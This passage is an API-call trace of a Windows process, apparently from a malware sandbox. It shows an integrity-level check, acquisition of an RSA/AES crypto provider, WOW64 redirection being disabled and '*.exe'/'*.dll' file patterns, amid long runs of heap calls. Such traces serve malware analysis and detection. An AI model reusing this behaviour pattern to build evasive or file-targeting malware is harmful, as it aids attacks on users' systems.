[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1efc5a9 [0260.058] GetSidSubAuthority (pSid=0x1efc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1efc5b0 [0260.058] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.058] NtClose (Handle=0x90) returned 0x0 [0260.058] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0260.058] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x6c) returned 0x1efb860 [0260.058] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.058] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x90 [0260.058] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc480 [0260.058] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc438 [0260.058] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc558 [0260.058] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc510 [0260.058] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x5000) returned 0x430048 [0260.059] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc4c8 [0260.059] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc4c8) returned 1 [0260.059] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x57d9a8) returned 1 [0260.177] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x430048) returned 1 [0260.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efb8d8 [0260.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efb960 [0260.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc4c8 [0260.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efb9e8 [0260.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efba70 [0260.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc3f0 [0260.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbaf8 [0260.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc3a8 [0260.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x5000) returned 0x430048 [0260.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc360 [0260.177] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc360) returned 1 [0260.177] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0260.303] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x430048) returned 1 [0260.303] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x57ada8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0260.303] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc360 [0260.303] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xdc [0260.304] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc360) returned 1 [0260.304] GetLastError () returned 0x0 [0260.304] LocalFree (hMem=0x57ada8) returned 0x0 [0260.304] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc360 [0260.304] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x5000) returned 0x430048 [0260.304] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc318 [0260.304] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc318) returned 1 [0260.304] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0260.306] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x430048) returned 1 [0260.306] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x57ada8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0260.306] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc318 [0260.307] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xe0 [0260.307] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc318) returned 1 [0260.307] GetLastError () returned 0x0 [0260.307] LocalFree (hMem=0x57ada8) returned 0x0 [0260.307] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc318 [0260.307] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x5000) returned 0x430048 [0260.307] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc2d0 [0260.307] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc2d0) returned 1 [0260.307] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0260.309] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x430048) returned 1 [0260.309] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x57ada8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0260.309] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc2d0 [0260.309] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xe4 [0260.309] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc2d0) returned 1 [0260.309] GetLastError () returned 0x0 [0260.309] LocalFree (hMem=0x57ada8) returned 0x0 [0260.310] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x2800) returned 0x430048 [0260.310] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbb80 [0260.310] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc2d0 [0260.310] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0260.310] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x2800) returned 0x432850 [0260.310] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.310] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.310] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd5e8 [0260.310] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2d8 [0260.310] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.310] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1f8 [0260.310] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1f8) returned 1 [0260.310] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.310] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2d8) returned 1 [0260.310] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd5e8) returned 1 [0260.310] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x432850) returned 1 [0260.310] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x2800) returned 0x432850 [0260.310] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.310] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.310] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd5e8 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2d8 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1f8 [0260.311] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2c8 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd600 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2b8 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1b0 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2a8 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc168 [0260.311] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1f8) returned 1 [0260.311] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2d8) returned 1 [0260.311] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.311] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2c8) returned 1 [0260.311] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd5e8) returned 1 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.311] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.311] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd5e8 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2c8 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2d8 [0260.311] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1f8 [0260.311] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1b0) returned 1 [0260.311] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2b8) returned 1 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc168) returned 1 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2a8) returned 1 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd600) returned 1 [0260.312] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd600 [0260.312] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2a8 [0260.312] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc168 [0260.312] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2b8 [0260.312] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1b0 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2c8) returned 1 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1f8) returned 1 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2d8) returned 1 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd5e8) returned 1 [0260.312] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd5e8 [0260.312] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2d8 [0260.312] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1f8 [0260.312] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2c8 [0260.312] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc168) returned 1 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2a8) returned 1 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1b0) returned 1 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2b8) returned 1 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd600) returned 1 [0260.312] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x432850) returned 1 [0260.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0260.312] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efd9d0 [0260.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc1f8, cbMultiByte=5, lpWideCharStr=0x1efd9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0260.313] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efda58 [0260.313] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd9d0) returned 1 [0260.313] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd600 [0260.313] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2b8 [0260.313] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efd9d0 [0260.313] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efda58) returned 1 [0260.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0260.313] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efda58 [0260.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc288, cbMultiByte=5, lpWideCharStr=0x1efda58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0260.313] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdae0 [0260.313] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efda58) returned 1 [0260.313] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2a8 [0260.313] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efda58 [0260.313] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdae0) returned 1 [0260.313] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1f8) returned 1 [0260.313] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2d8) returned 1 [0260.313] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.313] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2c8) returned 1 [0260.313] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd5e8) returned 1 [0260.313] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x2800) returned 0x432850 [0260.313] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.313] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.313] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.313] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd5e8 [0260.313] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2c8 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1f8 [0260.314] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2d8 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1b0 [0260.314] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd298 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc168 [0260.314] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd288 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.314] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x20) returned 0x1efbc08 [0260.314] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd5e8) returned 1 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd278 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc240 [0260.314] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd268 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0260.314] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd258 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.314] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x20) returned 0x435058 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd248 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5e8 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd238 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc630 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd228 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc678 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd218 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc6c0 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd208 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc708 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd1e8 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc750 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd1f8 [0260.315] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc798 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1f8) returned 1 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2c8) returned 1 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1b0) returned 1 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2d8) returned 1 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc168) returned 1 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd298) returned 1 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd288) returned 1 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc240) returned 1 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd278) returned 1 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd268) returned 1 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.315] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd258) returned 1 [0260.316] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbc08) returned 1 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.316] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.316] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.316] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.316] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.316] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.316] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.316] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd5e8 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd258 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd268 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd278 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc240 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd288 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x20) returned 0x1efbc08 [0260.316] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd5e8) returned 1 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd298 [0260.316] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc168 [0260.317] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2d8 [0260.317] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1b0 [0260.317] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2c8 [0260.317] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1f8 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5e8) returned 1 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd248) returned 1 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc630) returned 1 [0260.317] 